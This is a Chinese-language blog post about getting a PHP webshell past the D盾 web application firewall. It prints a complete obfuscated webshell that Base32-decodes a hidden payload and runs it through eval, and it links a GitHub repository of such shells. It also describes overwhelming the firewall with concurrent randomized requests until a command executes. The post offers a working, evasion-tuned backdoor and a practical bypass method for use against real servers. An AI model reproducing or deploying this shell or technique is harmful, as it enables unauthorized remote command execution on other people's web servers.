0x00:简介

此篇文章仅讨论php

现在的D盾防火墙在我看来已经几乎无解了😓 (可能是因为我太菜) 虽然在讨论如何绕过D盾getshell 其实怎么把shell传上去都是个问题...

虽然有点八股文 但是确实有绕过的方法,可能以后能用到吧。

0x01:条件

既然是getshell肯定得能把shell传到服务器上,因此可以将shell传到对方服务器是先决条件,所以其实讨论的依然是流量的免杀。

0x02:免杀D盾

首先D盾是自带文件查杀功能的,所以肯定得先过D盾的静态文件免杀,检测是否过了免杀直接访问脚本文件就行,像下面这种就是被杀的。

我的上几篇文章都有涉及到如何绕过D盾,不过也就是前几天吧,我突然发现GitHub的马被标记了5级木马

***这怎么能行 干他

经过我一番测试 发现被加入规则的居然是if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e") 😂

反正这条要不要都无所谓啊 去掉不就行了 还有就是注释依然可以绕过D盾 也就是最初的版本。

改动已同步到 https://github.com/pureqh/webshell

放到web服务器上访问一下

没有问题,手动测试一下能否执行命令

phpinfo测试通过 试一下其他命令

返回空白 然后到服务器看一下 发现报了警告

看一下详细的告警

其实看到这个规则我大概已经知道D盾做了什么了 但是还是抱着试一试的心态 将流量混淆一下

Base32流量传输:

shell:

<?php
class XTGN{
        public $YAWJ = null;
        public $LJDR = null;
        function __construct(){
        $this->YAWJ = 'mv3gc3bimjqxgzjwgrpwizldn5sgkkbel5ie6u2uln5gk4tpluussoy';
        $this->LJDR = @OJAD($this->YAWJ);
        @eval("/*|NRPWpl*/".$this->LJDR."/*|NRPWpl*/");
        }}
new XTGN();
function YJUO($GXTY){
    $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
    $SGKL = '';
    $v = 0;
    $vbits = 0;
    for ($i = 0, $j = strlen($GXTY); $i < $j; $i++){
    $v <<= 8;
        $v += ord($GXTY[$i]);
        $vbits += 8;
        while ($vbits >= 5) {
            $vbits -= 5;
            $SGKL .= $BASE32_ALPHABET[$v >> $vbits];
            $v &= ((1 << $vbits) - 1);}}
    if ($vbits > 0){
        $v <<= (5 - $vbits);
        $SGKL .= $BASE32_ALPHABET[$v];}
    return $SGKL;}
function OJAD($GXTY){
    $SGKL = '';
    $v = 0;
    $vbits = 0;
    for ($i = 0, $j = strlen($GXTY); $i < $j; $i++){
        $v <<= 5;
        if ($GXTY[$i] >= 'a' && $GXTY[$i] <= 'z'){
            $v += (ord($GXTY[$i]) - 97);
        } elseif ($GXTY[$i] >= '2' && $GXTY[$i] <= '7') {
            $v += (24 + $GXTY[$i]);
        } else {
            exit(1);
        }
        $vbits += 5;
        while ($vbits >= 8){
            $vbits -= 8;
            $SGKL .= chr($v >> $vbits);
            $v &= ((1 << $vbits) - 1);}}
    return $SGKL;}
?>

这个马使用了自带的Base32函数加解密流量 抓包看一下

依然不行 ... 使用冰蝎的加密流量同样无效

其实这里已经能证明了 D盾应该是直接hook了cmd.exe之类的 所以流量混淆的再厉害也没用

0x03:峰回路转

既然软的不行了 那我只好走点偏门路子 好巧不巧今天测试的时候 放空大脑一直刷新网页 让我吃惊的是 居然有一次刷出来了回显???

burp 启动

UA头使用随机数进行并发访问

哦 还真行

为什么能突破D盾呢 这就要说说D盾这个软waf的天生缺陷了 就是处理能力存在较大限制 大量并发流量他其实处理不过来 总会漏那么几个 所以就可以钻空子

但是这东西其实没法应用到工具上 因为毕竟不知道哪次才会有回显 ,而且产生的日志数量极大 能用是能用 大家玩的时候掂量掂量就行了 哈哈

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注